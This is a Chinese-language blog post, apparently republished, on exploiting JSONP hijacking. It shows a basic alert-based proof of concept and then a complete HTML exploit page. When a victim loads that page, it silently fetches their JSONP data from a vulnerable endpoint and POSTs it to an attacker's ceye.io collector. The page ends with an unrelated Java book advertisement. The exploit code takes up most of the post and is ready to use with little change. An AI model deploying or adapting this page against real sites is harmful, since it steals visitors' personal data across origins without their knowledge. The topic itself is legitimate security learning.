内容简介:之前测jsonp劫持的时候一般是弹个alert,就做poc了,突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。在网上看到一般的证明脚本是
之前测jsonp劫持的时候一般是弹个alert,就做poc了,
突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。
正文
在网上看到一般的证明脚本是
<script>
function lego(json){
alert(JSON.stringify(json))
}
</script>
<script src="http://vulweb.com/info?callback=lego"></script>
于是我便想尝试一下去构造一个可以来直接利用的exp
在安全客上看到了关于jsonp劫持的exp https://www.anquanke.com/post/id/152339
因为这个脚本利用的是get方法
如果劫持到的数据过多,用get请求的时候会返回414(URI太长 )
于是我就想用post的方法去请求
这种exp不能自动发起请求,需要点击按键。
与CSRF利用一样,如果用burpsuite生成的csrf-poc是用个submit按钮的,
在实际利用中还是差一点的,
所以我还是想让它变得更加实用一点。
首先是使用onload事件,
<body onload="load()">
即页面加载完成后执行一个方法,
这个方法利用有post请求,就可以完成我所想实现的了。
exp
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body onload="load()">
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script>
function load()
{
$.ajax({
url: "http://xxx.com/info?callback=lego",
type: "GET", //指定GET请求方法
dataType: "jsonp", //指定服务器返回的数据类型
jsonp: "callback", //指定参数名称
jsonpCallback: "lego",
success: function (data) {
$.ajax({
type: 'POST',
url: 'http://yourceye.ceye.io/',
data: JSON.stringify(data)
});
}
})
}
</script>
</body>
</html>
当然,需要在ceye.io中注册一个账号。
效果
当然这也不是什么很有技术内容的文章,只是想跟大家分享一下一些小trick,多多包涵。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Java编程的逻辑
马俊昌 / 机械工业出版社 / 2018-1-1 / 99
Java专家撰写,力求透彻讲解每个知识点,逐步建立编程知识图谱。本书以Java语言为例,由基础概念入手,到背后实现原理与逻辑,再到应用实践,融会贯通。 全书共六大部分,其要点如下。 第一部分(第1~2章)讲解计算机程序的基本执行流程与元素,以及数据背后的二进制表示,帮读者掌握编程的基本概念。 第二部分(第3~7章)讲解面向对象的编程原理与逻辑,涉及类、继承与多态、接口与抽象类、异......一起来看看 《Java编程的逻辑》 这本书的介绍吧!